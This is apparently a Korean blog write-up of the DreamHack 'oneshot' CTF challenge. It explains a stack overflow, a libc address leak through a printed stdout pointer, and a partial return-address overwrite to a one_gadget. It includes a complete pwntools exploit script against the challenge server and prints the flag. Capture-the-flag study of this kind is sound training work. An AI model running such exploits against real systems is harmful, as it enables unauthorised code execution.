[๐Ÿฅˆ Silver 4] 6๋ฐ”์ดํŠธ๋งŒ ๋ฎ์–ด๋„ ์ถฉ๋ถ„ํ•˜๋‹ค โ€” DreamHack oneshot ํ’€์ด

2026-07-05ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅˆ Silver 4] 6๋ฐ”์ดํŠธ๋งŒ ๋ฎ์–ด๋„ ์ถฉ๋ถ„ํ•˜๋‹ค โ€” DreamHack oneshot ํ’€์ด

16๋ฐ”์ดํŠธ ๋ฒ„ํผ์— 46๋ฐ”์ดํŠธ๋ฅผ ์ฝ์–ด๋“ค์ด๋Š” ์ „ํ˜•์ ์ธ ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ. printf๊ฐ€ ๋ฌด์‹ฌ์ฝ” ์ฐ์–ด์ค€ stdout ํฌ์ธํ„ฐ๊ฐ€ libc ์ฃผ์†Œ๋ผ๋Š” ๊ฑธ ์ด์šฉํ•ด ๋ฒ ์ด์Šค๋ฅผ ๊ตฌํ•˜๊ณ , ๋‚จ์€ return address 6๋ฐ”์ดํŠธ๋งŒ one_gadget์œผ๋กœ ๋ฎ์–ด ์…ธ์„ ๋”ด๋‹ค. rax ์ œ์•ฝ๋„ main์ด ์•Œ์•„์„œ ๋งž์ถฐ์ค€๋‹ค.

๋ฌธ์ œ: DreamHack โ€” oneshot ๋ถ„๋ฅ˜: Pwnable ๋‚œ์ด๋„: ๐Ÿฅˆ Silver 4 FLAG: DH{a6e74f669acffd69602b76c81c0516b2}

30์ค„์งœ๋ฆฌ C ํŒŒ์ผ ํ•˜๋‚˜. msg[16]์— read๋กœ 46๋ฐ”์ดํŠธ๋ฅผ ์ฝ์–ด๋“ค์ด๋Š”๋ฐ ์™œ ํ•˜ํ•„ 46์ด๋ƒ๊ฐ€ ์ด ๋ฌธ์ œ์˜ ์ „๋ถ€๋‹ค. 16๋„ ์•„๋‹ˆ๊ณ  48๋„ ์•„๋‹ˆ๊ณ  46. ์ˆซ์ž ํ•˜๋‚˜์— ๋ฌธ์ œ ์ „์ฒด์˜ ์ œ์•ฝ ์กฐ๊ฑด์ด ๋‹ค ๋“ค์–ด ์žˆ๋‹ค.

์ด ๊ธ€์˜ ๋ช…๋ น์€ ๋ชจ๋‘ extracted/ ์—์„œ ์‹คํ–‰ํ•œ๋‹ค.

file oneshot libc.so.6 && echo --- && pwn checksec oneshot

๋ฐ”์ด๋„ˆ๋ฆฌ ๊ธฐ๋ณธ ์ •๋ณด โ€” PIE์— ์นด๋‚˜๋ฆฌ ์—†์Œ
๋ฐ”์ด๋„ˆ๋ฆฌ ๊ธฐ๋ณธ ์ •๋ณด โ€” PIE์— ์นด๋‚˜๋ฆฌ ์—†์Œ


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…oneshot
๋‚œ์ด๋„๐Ÿฅˆ Silver 4
๋ถ„๋ฅ˜Pwnable (Stack Overflow)
์ œ๊ณต ํŒŒ์ผoneshot, oneshot.c, libc.so.6 (glibc 2.23, Ubuntu 16.04)
๋ณดํ˜ธ ๊ธฐ๋ฒ•NX, Partial RELRO, ์นด๋‚˜๋ฆฌ ์—†์Œ, PIE
ํ•ต์‹ฌ ์ทจ์•ฝ์ stdout ํฌ์ธํ„ฐ ์œ ์ถœ๋กœ libc base ํš๋“ + saved return address ๋ถ€๋ถ„ ๋ฎ์–ด์“ฐ๊ธฐ(one_gadget)

๋ฌธ์ œ ์ด๋ฆ„์ด ํžŒํŠธ๋‹ค. one_gadget์œผ๋กœ ์…ธ์„ ํ•œ ๋ฐฉ์— ๋”ด๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” return address๋Š” ์Šคํƒ ์–ด๋””์— ์žˆ๋‚˜

์นด๋‚˜๋ฆฌ๊ฐ€ ์—†๋Š” x86-64 ํ•จ์ˆ˜๋Š” push rbp; mov rbp, rsp ๋กœ ์‹œ์ž‘ํ•ด์„œ leave; ret ๋กœ ๋๋‚œ๋‹ค.

leave๋Š” mov rsp, rbp; pop rbp๋ฅผ ์ค„์ธ ๋ช…๋ น์ด๋ผ, pop rbp ๋‹ค์Œ ์Šคํƒ ๋งจ ์œ„์— ๋‚จ๋Š” ๊ฐ’์ด ๊ณง ret๊ฐ€ ๊บผ๋‚ด ๊ฐˆ return address๋‹ค. ์ฆ‰ ํ•จ์ˆ˜ ์•ˆ์—์„œ ๋กœ์ปฌ ๋ณ€์ˆ˜๊ฐ€ ์ €์žฅ๋œ ์œ„์น˜(rbp ๊ธฐ์ค€ ์Œ์ˆ˜ ์˜คํ”„์…‹)์—์„œ ์‹œ์ž‘ํ•ด, saved rbp(์˜คํ”„์…‹ 0), ๊ทธ ๋ฐ”๋กœ ๋‹ค์Œ 8๋ฐ”์ดํŠธ(์˜คํ”„์…‹ +8)๊ฐ€ return address๋‹ค.

์ด ๊ตฌ์กฐ๋ฅผ ์•Œ๋ฉด ๋กœ์ปฌ ๋ฒ„ํผ ํ•˜๋‚˜๋งŒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ์‹œ์ผœ๋„ ๊ทธ ๋’ค์— ๋‚˜๋ž€ํžˆ ๋†“์ธ saved rbp์™€ return address๊นŒ์ง€ ์ˆœ์„œ๋Œ€๋กœ ๋ฎ์„ ์ˆ˜ ์žˆ๋‹ค. ์นด๋‚˜๋ฆฌ๊ฐ€ ์—†์œผ๋‹ˆ ๊ฒ€์ฆ ์—†์ด ๊ทธ๋Œ€๋กœ ret๊นŒ์ง€ ๋„๋‹ฌํ•œ๋‹ค.

๋ฌธ์ œ๋Š” read()๊ฐ€ ์ •ํ™•ํžˆ ๋ช‡ ๋ฐ”์ดํŠธ๋ฅผ ๋„˜๊ฒจ์ฃผ๋А๋ƒ๋‹ค โ€” ๊ทธ๊ฒŒ 46์ด๋ผ๋Š” ์ˆซ์ž์™€ ์ง๊ฒฐ๋œ๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ

์ „์ฒด ์†Œ์Šค๋Š” 30์—ฌ ์ค„์ด๋‹ค.

cat -n oneshot.c

oneshot.c ์ „์ฒด
oneshot.c ์ „์ฒด

ํ•ต์‹ฌ์€ ์„ธ ์ค„์ด๋‹ค.

char msg[16];
size_t check = 0;
...
printf("stdout: %p\n", stdout);   // libc ํฌ์ธํ„ฐ๋ฅผ ๊ทธ๋ƒฅ ์ฐ์–ด์ค€๋‹ค
...
read(0, msg, 46);                 // msg๋Š” 16๋ฐ”์ดํŠธ์ธ๋ฐ 46๋ฐ”์ดํŠธ๋ฅผ ์ฝ๋Š”๋‹ค
if (check > 0) { exit(0); }       // check๊ฐ€ ์˜ค์—ผ๋˜๋ฉด ์—ฌ๊ธฐ์„œ ์ฃฝ๋Š”๋‹ค

printf("stdout: %p\n", stdout) ์ด ์ฒซ ๋ฒˆ์งธ ๋‹จ์„œ๋‹ค. stdout์€ FILE* ์ „์—ญ ๋ณ€์ˆ˜์ธ๋ฐ, ์ด ๊ฐ’ ์ž์ฒด๊ฐ€ libc ๋‚ด๋ถ€์— ์žˆ๋Š” _IO_2_1_stdout_ ๊ตฌ์กฐ์ฒด์˜ ์ฃผ์†Œ๋‹ค. PIE ๋ฐ”์ด๋„ˆ๋ฆฌ ์ฃผ์†Œ๊ฐ€ ์•„๋‹ˆ๋ผ libc ์ฃผ์†Œ๋ฅผ ๊ทธ๋ƒฅ ๋˜์ ธ์ค€๋‹ค.

๋‘ ๋ฒˆ์งธ ๋‹จ์„œ๋Š” read(0, msg, 46). msg๋Š” 16๋ฐ”์ดํŠธ ๋ฐฐ์—ด์ธ๋ฐ 46๋ฐ”์ดํŠธ๋ฅผ ์ฝ์œผ๋‹ˆ 30๋ฐ”์ดํŠธ๊ฐ€ ์Šคํƒ ์•„๋ž˜์ชฝ์œผ๋กœ ๋„˜์นœ๋‹ค. ๋‹ค๋งŒ ๊ทธ ์‚ฌ์ด์— check๋ผ๋Š” 8๋ฐ”์ดํŠธ size_t๊ฐ€ ๋ผ์–ด ์žˆ๊ณ , ์—ฌ๊ธฐ๊ฐ€ 0์ด ์•„๋‹ˆ๋ฉด read ์งํ›„ ๋ฐ”๋กœ exit(0)์œผ๋กœ ์ฃฝ์–ด๋ฒ„๋ฆฐ๋‹ค. ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ํŽ˜์ด๋กœ๋“œ ์ค‘๊ฐ„ 8๋ฐ”์ดํŠธ๋ฅผ ์ •ํ™•ํžˆ 0์œผ๋กœ ์ฑ„์›Œ์•ผ ํ•œ๋‹ค๋Š” ์ œ์•ฝ์ด ์ƒ๊ธด๋‹ค.

์˜คํ”„์…‹์„ ์ง์ ‘ ํ™•์ธ โ€” ๋””์Šค์–ด์…ˆ๋ธ”

๋ง๋กœ ์งš์€ ์˜คํ”„์…‹์ด ๋งž๋Š”์ง€ objdump๋กœ main์„ ๊นŒ๋ณธ๋‹ค.

objdump -d -M intel --disassemble=main oneshot

main ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ โ€” leak/read/check/memset/ret ์ง€์ 
main ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ โ€” leak/read/check/memset/ret ์ง€์ 

lea rax,[rbp-0x20]๊ฐ€ msg์˜ ์‹œ์ž‘์ด๊ณ , check๋Š” [rbp-0x8]. ์ฆ‰ msg ์‹œ์ž‘ ๊ธฐ์ค€์œผ๋กœ check๋Š” ์˜คํ”„์…‹ 24(0x18)์— ์žˆ๋‹ค. saved rbp๋Š” ์˜คํ”„์…‹ 32, return address๋Š” ์˜คํ”„์…‹ 40์ด๋‹ค.

read๊ฐ€ ์ฑ„์šฐ๋Š” ๊ฑด ๋”ฑ 46๋ฐ”์ดํŠธ(์˜คํ”„์…‹ 045)์ด๋ฏ€๋กœ return address 8๋ฐ”์ดํŠธ(4047) ์ค‘ ์•ž์˜ 6๋ฐ”์ดํŠธ(4045)๋งŒ ์šฐ๋ฆฌ๊ฐ€ ์ •ํ•  ์ˆ˜ ์žˆ๊ณ  ๋‚˜๋จธ์ง€ 2๋ฐ”์ดํŠธ(4647)๋Š” ์›๋ž˜ ์Šคํƒ์— ์žˆ๋˜ ๊ฐ’ ๊ทธ๋Œ€๋กœ ๋‚จ๋Š”๋‹ค.

ae1: call memset@plt ๋’ค์— ์˜ค๋Š” memset(msg, 0, sizeof(msg))๋Š” msg ์•ž 16๋ฐ”์ดํŠธ๋งŒ ์ง€์šด๋‹ค. checkยทsaved rbpยทreturn address๋Š” ์ด ์ดํ›„์—๋„ ๊ทธ๋Œ€๋กœ ์‚ด์•„์žˆ๋‹ค โ€” ์ด๋ฏธ ๋‹ค ์ฑ„์›Œ๋†“์€ ๋‹ค์Œ์ด๋ผ ์ƒ๊ด€์—†๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” 6๋ฐ”์ดํŠธ๋กœ ์ถฉ๋ถ„ํ•œ ์ด์œ 

x86-64 ์œ ์ € ๊ณต๊ฐ„ ์ฃผ์†Œ๋Š” ํ•ญ์ƒ 0x0000________ ํ˜•ํƒœ๋‹ค. ์œ„์ชฝ 2๋ฐ”์ดํŠธ๋Š” ์–ธ์ œ๋‚˜ 0์ด๊ณ  ์‹ค์ œ๋กœ ์˜๋ฏธ ์žˆ๋Š” ๊ฑด ํ•˜์œ„ 6๋ฐ”์ดํŠธ๋ฟ์ด๋‹ค.

์›๋ž˜ ์Šคํƒ์— ์žˆ๋˜ return address(= main์„ ํ˜ธ์ถœํ•œ __libc_start_main ๋ณต๊ท€ ์ง€์ )๋„ ์ƒ์œ„ 2๋ฐ”์ดํŠธ๊ฐ€ 0x0000์ด๊ณ , ์šฐ๋ฆฌ๊ฐ€ ์‹ฌ์œผ๋ ค๋Š” one_gadget ์ฃผ์†Œ(libc_base + ์˜คํ”„์…‹)๋„ ์ƒ์œ„ 2๋ฐ”์ดํŠธ๋Š” ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ 0x0000์ด๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ read๊ฐ€ ๊ฑด๋“œ๋ฆฌ์ง€ ๋ชปํ•˜๋Š” ๋งˆ์ง€๋ง‰ 2๋ฐ”์ดํŠธ๋ฅผ ์‹ ๊ฒฝ ์“ธ ํ•„์š”๊ฐ€ ์—†๋‹ค โ€” ์›๋ž˜ ๊ฐ’๊ณผ ๋ชฉํ‘œ ๊ฐ’์ด ์šฐ์—ฐํžˆ ๊ฐ™๋‹ค.

payload 46๋ฐ”์ดํŠธ๊ฐ€ ์ฑ„์šฐ๋Š” ์ •ํ™•ํ•œ ๋ฒ”์œ„
payload 46๋ฐ”์ดํŠธ๊ฐ€ ์ฑ„์šฐ๋Š” ์ •ํ™•ํ•œ ๋ฒ”์œ„

์ •๋ฆฌํ•˜๋ฉด ํŽ˜์ด๋กœ๋“œ๋Š” ์ด๋ ‡๊ฒŒ ์งœ๋ฉด ๋œ๋‹ค.

์˜คํ”„์…‹๊ธธ์ด๊ฐ’
0~2324B์ฑ„์šฐ๊ธฐ์šฉ ์•„๋ฌด ๊ฐ’
24~318Bcheck โ€” ๋ฐ˜๋“œ์‹œ 0
32~398Bsaved rbp โ€” ์•„๋ฌด ๊ฐ’
40~456Bone_gadget ์ฃผ์†Œ ํ•˜์œ„ 6๋ฐ”์ดํŠธ

์ •ํ™•ํžˆ 46๋ฐ”์ดํŠธ. read() ์ธ์ž์™€ ํ•œ ๊ธ€์ž๋„ ์•ˆ ํ‹€๋ฆฌ๊ณ  ๋งž์•„๋–จ์–ด์ง„๋‹ค.



๐ŸŽฏ libc base ๊ตฌํ•˜๊ธฐ + one_gadget ๊ณ ๋ฅด๊ธฐ

printf("stdout: %p\n", stdout)๊ฐ€ ์ฐ๋Š” ๊ฐ’์€ _IO_2_1_stdout_ ๊ตฌ์กฐ์ฒด ์ฃผ์†Œ๋‹ค. ์ œ๊ณต๋œ libc.so.6์—์„œ ์ด ์‹ฌ๋ณผ์˜ ์˜คํ”„์…‹์„ ๊ตฌํ•˜๋ฉด ๊ฑฐ๊ธฐ์„œ ๊ฑฐ๊พธ๋กœ libc base๋ฅผ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ๋‹ค.

strings -a libc.so.6 | grep "GNU C Library"
readelf -sW libc.so.6 | grep _IO_2_1_stdout_

glibc ๋ฒ„์ „ ํ™•์ธ + IO_2_1_stdout ์‹ฌ๋ณผ ์˜คํ”„์…‹
glibc ๋ฒ„์ „ ํ™•์ธ + IO_2_1_stdout ์‹ฌ๋ณผ ์˜คํ”„์…‹

glibc 2.23(Ubuntu 16.04)์ด๊ณ , _IO_2_1_stdout_์€ libc ๋ฒ ์ด์Šค์—์„œ 0x3c5620. ์ฆ‰:

libc_base = leak - 0x3c5620

๋ฒ ์ด์Šค๋ฅผ ๊ตฌํ–ˆ์œผ๋ฉด one_gadget์œผ๋กœ ์ด libc์— ๋ฐ•ํ˜€ ์žˆ๋Š” execve ๊ฐ€์ ฏ์„ ์ฐพ๋Š”๋‹ค.

one_gadget libc.so.6

one_gadget ํ›„๋ณด 4๊ฐœ์™€ ๊ฐ๊ฐ์˜ ๋ ˆ์ง€์Šคํ„ฐ/๋ฉ”๋ชจ๋ฆฌ ์ œ์•ฝ
one_gadget ํ›„๋ณด 4๊ฐœ์™€ ๊ฐ๊ฐ์˜ ๋ ˆ์ง€์Šคํ„ฐ/๋ฉ”๋ชจ๋ฆฌ ์ œ์•ฝ

๋„ค ํ›„๋ณด ์ค‘ 0x45216์€ ์ œ์•ฝ์ด rax == NULL ํ•˜๋‚˜๋ฟ์ด๋‹ค. ๋‹ค๋ฅธ ์…‹์€ [rsp+0x30]์ฒ˜๋Ÿผ ์Šคํƒ ํŠน์ • ์œ„์น˜๊ฐ€ 0์ด์–ด์•ผ ํ•˜๋Š”๋ฐ, ์šฐ๋ฆฌ๋Š” ret์œผ๋กœ ์ง„์ž…ํ•˜๋Š” ์‹œ์ ์˜ rsp ๊ฐ’์„ ์„ธ๋ฐ€ํ•˜๊ฒŒ ํ†ต์ œํ•˜๊ธฐ ์–ด๋ ต๋‹ค.

rax == NULL ์ชฝ์ด ํ›จ์”ฌ ๋‹ค๋ฃจ๊ธฐ ์‰ฝ๋‹ค โ€” ๊ฒŒ๋‹ค๊ฐ€ ์•ž์„œ ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ์—์„œ ๋ดค๋“ฏ ret ๋ฐ”๋กœ ์•ž์ด mov eax, 0x0์ด๋‹ค. main์ด ์ •์ƒ ์ข…๋ฃŒํ•˜๋ฉฐ ๋ฐ˜ํ™˜๊ฐ’์„ 0์œผ๋กœ ์„ธํŒ…ํ•˜๋Š” ๊ทธ ํ•œ ์ค„์ด, ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” ์ œ์•ฝ์„ ๊ณต์งœ๋กœ ๋งŒ์กฑ์‹œ์ผœ ์ค€๋‹ค.

target = libc_base + 0x45216

๐Ÿš€ Full Exploit

๋ฆฌํฌ ํŒŒ์‹ฑ๋ถ€ํ„ฐ ํŽ˜์ด๋กœ๋“œ ์กฐ๋ฆฝ, ํ”Œ๋ž˜๊ทธ ํšŒ์ˆ˜๊นŒ์ง€ ํ•œ ์Šคํฌ๋ฆฝํŠธ๋กœ ๋๋‚ธ๋‹ค.

#!/usr/bin/env python3
from pwn import *
import time
 
context.arch = 'amd64'
context.log_level = 'info'
 
LIBC_STDOUT_OFFSET = 0x3c5620   # _IO_2_1_stdout_ in provided libc.so.6 (glibc 2.23)
ONE_GADGET_OFFSET = 0x45216     # constraint: rax == NULL (satisfied by main's `mov eax,0` before leave;ret)
 
HOST = 'host3.dreamhack.games'
PORT = 22027
 
io = remote(HOST, PORT)
 
io.recvuntil(b'stdout: ')
leak = int(io.recvline().strip(), 16)
log.info(f'stdout leak (_IO_2_1_stdout_) = {hex(leak)}')
 
libc_base = leak - LIBC_STDOUT_OFFSET
log.info(f'libc base = {hex(libc_base)}')
 
target = libc_base + ONE_GADGET_OFFSET
log.info(f'one_gadget target = {hex(target)}')
 
payload = b'A' * 24          # fill msg[16] + pad up to check
payload += p64(0)            # check must stay 0 or exit(0) triggers
payload += b'B' * 8          # saved rbp, irrelevant
payload += p64(target)[:6]   # low 6 bytes of return address; top 2 bytes stay 0x0000
 
assert len(payload) == 46
 
io.recvuntil(b'MSG: ')
io.send(payload)
io.recvline()  # echoed "MSG: ...."
 
io.sendline(b'cat flag 2>/dev/null; cat /flag 2>/dev/null; cat /home/*/flag 2>/dev/null')
time.sleep(1)
print(io.recvall(timeout=3).decode(errors='replace'))
io.close()

์‹คํ–‰ํ•˜๋ฉด ๋ฆฌํฌ๊ฐ’, ๊ณ„์‚ฐํ•œ ๋ฒ ์ด์Šค, ํƒ€๊นƒ ์ฃผ์†Œ๋ฅผ ์ˆœ์„œ๋Œ€๋กœ ์ฐ๊ณ  ๊ณง๋ฐ”๋กœ ์…ธ์— ๋ช…๋ น์„ ํ˜๋ ค flag๋ฅผ ๋ฐ›์•„์˜จ๋‹ค.

exploit ์‹คํ–‰ โ€” ๋ฆฌํฌโ†’๋ฒ ์ด์Šค ๊ณ„์‚ฐโ†’one_gadget ์ง„์ž…โ†’flag
exploit ์‹คํ–‰ โ€” ๋ฆฌํฌโ†’๋ฒ ์ด์Šค ๊ณ„์‚ฐโ†’one_gadget ์ง„์ž…โ†’flag

โ–ถ๐Ÿ› ์‚ฝ์งˆ โ€” ์…ธ์€ ์žก์•˜๋Š”๋ฐ ํ™”๋ฉด์ด ๊ทธ๋ƒฅ ๋Š๊ฒผ๋‹ค

์ฒซ ๋ฒ„์ „์€ ์…ธ์„ ์žก์€ ๋‹ค์Œ io.interactive()๋กœ ๋„˜๊ฒผ๋‹ค. ๋กœ์ปฌ์—์„œ echo ํ…Œ์ŠคํŠธ๋กœ ์…ธ ์ž์ฒด๋Š” ํ™•์‹คํžˆ ์žกํžŒ ๊ฑธ ํ™•์ธํ–ˆ๋Š”๋ฐ, ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๊ทธ๋Œ€๋กœ ๋Œ๋ฆฌ๋ฉด "Switching to interactive mode"๊ฐ€ ๋œจ์ž๋งˆ์ž ์—ฐ๊ฒฐ์ด ๋Š๊ฒผ๋‹ค.

์›์ธ์€ ์…ธ์ด ์•„๋‹ˆ๋ผ ๋กœ์ปฌ ์ชฝ์ด์—ˆ๋‹ค. io.interactive()๋Š” ๋กœ์ปฌ ํ‘œ์ค€์ž…๋ ฅ์„ ์ฝ์–ด์„œ ์†Œ์ผ“์œผ๋กœ ๊ทธ๋Œ€๋กœ ์ „๋‹ฌํ•˜๋Š”๋ฐ, ํŒŒ์ดํ”„๋‚˜ ๋ฐฑ๊ทธ๋ผ์šด๋“œ๋กœ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋Œ๋ฆฌ๋ฉด ๋กœ์ปฌ stdin์ด ์ฆ‰์‹œ EOF๊ฐ€ ๋˜๊ณ  pwntools๊ฐ€ ๊ทธ๊ฑธ ์—ฐ๊ฒฐ ์ข…๋ฃŒ ์‹ ํ˜ธ๋กœ ์ฒ˜๋ฆฌํ•ด๋ฒ„๋ฆฐ๋‹ค.

์ธํ„ฐ๋ž™ํ‹ฐ๋ธŒ ์…ธ์„ ๋„์šธ ํ•„์š” ์ž์ฒด๊ฐ€ ์—†์—ˆ๋‹ค โ€” sendline์œผ๋กœ ๋ช…๋ น ํ•˜๋‚˜ ํ˜๋ ค๋ณด๋‚ด๊ณ  recvall(timeout=...)๋กœ ๋ฐ›์œผ๋ฉด ์ถฉ๋ถ„ํ•˜๋‹ค. ์›๊ฒฉ ์›์ƒท ์ต์Šคํ”Œ๋กœ์ž‡์—๋Š” interactive()๋ณด๋‹ค ์ด์ชฝ์ด ๋งž๋Š” ๋ฐฉ์‹์ด๋‹ค.

FLAG: DH{a6e74f669acffd69602b76c81c0516b2}



๐Ÿ“ ๊ฒฐ๋ก 

check ๋ณ€์ˆ˜๋Š” ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ๋ง‰๋Š” ์žฅ์น˜๊ฐ€ ์•„๋‹ˆ๋‹ค.

check > 0์ด๋ฉด ์ฆ‰์‹œ exit(0)์„ ๋ถ€๋ฅด์ง€๋งŒ, ์ด๊ฑด ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์ž์ฒด๋ฅผ ๋ง‰๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๋’ค์˜ ์ฝ”๋“œ ํ๋ฆ„(๋‘ ๋ฒˆ์งธ printf)์ด ์‹คํ–‰๋˜์ง€ ์•Š๊ฒŒ ํ•  ๋ฟ์ด๋‹ค. read()๋Š” ์ด๋ฏธ ๊ทธ ์ „์— ์Šคํƒ ์ „์ฒด๋ฅผ ๋ฎ์€ ๋’ค๋‹ค. ๋ฐฉ์–ด ์ฝ”๋“œ๊ฐ€ ์ทจ์•ฝ์ ๋ณด๋‹ค ๋Šฆ๊ฒŒ ์‹คํ–‰๋˜๋ฉด ์˜๋ฏธ๊ฐ€ ์—†๋‹ค.

ํฌ์ธํ„ฐ๋ฅผ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅํ•˜๋ฉด ๊ทธ ์ž์ฒด๊ฐ€ ์ •๋ณด ์œ ์ถœ์ด๋‹ค.

%p๋กœ stdout์„ ์ฐ์€ ๊ฑด ๋””๋ฒ„๊น… ํ”์ ์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ, ๊ทธ ๊ฐ’ ํ•˜๋‚˜๊ฐ€ ASLR๋กœ ๊ฐ€๋ ค๋‘” libc ๋ฒ ์ด์Šค ์ „์ฒด๋ฅผ ๋ฌด๋„ˆ๋œจ๋ ธ๋‹ค. ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ณด์—ฌ์ค„ ์ด์œ ๊ฐ€ ์—†๋Š” ํฌ์ธํ„ฐ๋Š” ์• ์ดˆ์— ๋กœ๊ทธ์—๋„, ์‘๋‹ต์—๋„ ๋‚จ๊ธฐ์ง€ ์•Š๋Š” ๊ฒŒ ๋งž๋‹ค.

partial overwrite๋Š” ํ•ญ์ƒ ์—ด๋ ค ์žˆ๋Š” ๊ฒฝ๋กœ๋‹ค.

read ๊ธธ์ด๊ฐ€ return address ์ „์ฒด(8๋ฐ”์ดํŠธ)๋ฅผ ๋‹ค ๋ฎ์ง€ ๋ชปํ•ด๋„, ์ƒ์œ„ ๋ฐ”์ดํŠธ๊ฐ€ ์–ด์ฐจํ”ผ ๊ณ ์ •๊ฐ’(0x0000)์ด๋ผ๋Š” ์‚ฌ์‹ค ํ•˜๋‚˜๋กœ ๊ณต๊ฒฉ์€ ์„ฑ๋ฆฝํ•œ๋‹ค. "๋ฎ์„ ์ˆ˜ ์žˆ๋Š” ๋ฐ”์ดํŠธ ์ˆ˜๊ฐ€ ๋ถ€์กฑํ•˜๋‹ค"๋Š” ๋ฐฉ์–ด ๋…ผ๋ฆฌ๋Š” ์‹ค์ „์—์„œ ๊ฑฐ์˜ ํ†ตํ•˜์ง€ ์•Š๋Š”๋‹ค.

์Šคํƒ ์นด๋‚˜๋ฆฌ๋Š” ๊ณต์งœ ๋ฐฉ์–ด๋‹ค.

์ด ๋ฌธ์ œ๋Š” -fno-stack-protector๋กœ ์ปดํŒŒ์ผ๋๋‹ค. ์นด๋‚˜๋ฆฌ ํ•˜๋‚˜๋งŒ ์žˆ์—ˆ์–ด๋„ check๋ฅผ ๋„˜์–ด saved rbpยทreturn address๊นŒ์ง€ ๋„๋‹ฌํ•˜๊ธฐ ์ „์— ํ”„๋กœ๊ทธ๋žจ์ด ์ฃฝ์—ˆ์„ ๊ฒƒ์ด๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‡ Gold 4] read ํ•œ ๋ฒˆ์„ ํ†ต์งธ๋กœ ํ›”์ณ ์˜ค๋Š” ๋ฒ• โ€” DreamHack iofile_aw ํ’€์ด
blog

[๐Ÿฅ‡ Gold 4] read ํ•œ ๋ฒˆ์„ ํ†ต์งธ๋กœ ํ›”์ณ ์˜ค๋Š” ๋ฒ• โ€” DreamHack iofile_aw ํ’€์ด

memcpy ํ•œ ์ค„์ด stdin ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” FILE ๊ตฌ์กฐ์ฒด์˜ ์•ž 0x40๋ฐ”์ดํŠธ๋ฅผ ํ†ต์งธ๋กœ ๊ฐˆ์•„๋ผ์šด๋‹ค. ๊ทธ 0x40 ์•ˆ์— _IO_buf_base ๊ฐ€ ๋“ค์–ด ์žˆ์–ด์„œ, ๋‹ค์Œ์— fgets ๊ฐ€ ๋ถ€๋ฅด๋Š” read(2) ์˜ ์ฐฉ์ง€์ ์„ ๋‚ด๊ฐ€ ์ •ํ•  ์ˆ˜ ์žˆ๋‹ค. Full RELRO ๋ผ GOT ๋Š” ๋ชป ๊ฑด๋“œ๋ฆฌ์ง€๋งŒ ๋Œ€์‹  ์ „์—ญ int ํ•˜๋‚˜ โ€” read ๊ธธ์ด๋ฅผ ๋‹ด๊ณ  ์žˆ๋Š” size โ€” ๋ฅผ 512์—์„œ 2560์œผ๋กœ ํ‚ค์› ๋‹ค. ๊ทธ ์ˆœ๊ฐ„ ์†Œ์Šค์— "No overflow here" ๋ผ๊ณ  ์ฃผ์„๊นŒ์ง€ ๋‹ฌ๋ ค ์žˆ๋˜ read_command ๊ฐ€ 512๋ฐ”์ดํŠธ ์Šคํƒ ๋ฒ„ํผ์— 568๋ฐ”์ดํŠธ๋ฅผ ๋ถ€์–ด ๋„ฃ๋Š” ํ•จ์ˆ˜๊ฐ€ ๋œ๋‹ค.
#dreamhack#ctf#pwnable+4
2026-08-01#dreamhack +5
[๐Ÿฅˆ Silver 2] stderr + 1 ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” 8๋ฐ”์ดํŠธ๋กœ ํ•จ์ˆ˜ ํ…Œ์ด๋ธ”์„ ๊ฐˆ์•„๋ผ์šด๋‹ค โ€” DreamHack iofile_vtable ํ’€์ด
blog

[๐Ÿฅˆ Silver 2] stderr + 1 ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” 8๋ฐ”์ดํŠธ๋กœ ํ•จ์ˆ˜ ํ…Œ์ด๋ธ”์„ ๊ฐˆ์•„๋ผ์šด๋‹ค โ€” DreamHack iofile_vtable ํ’€์ด

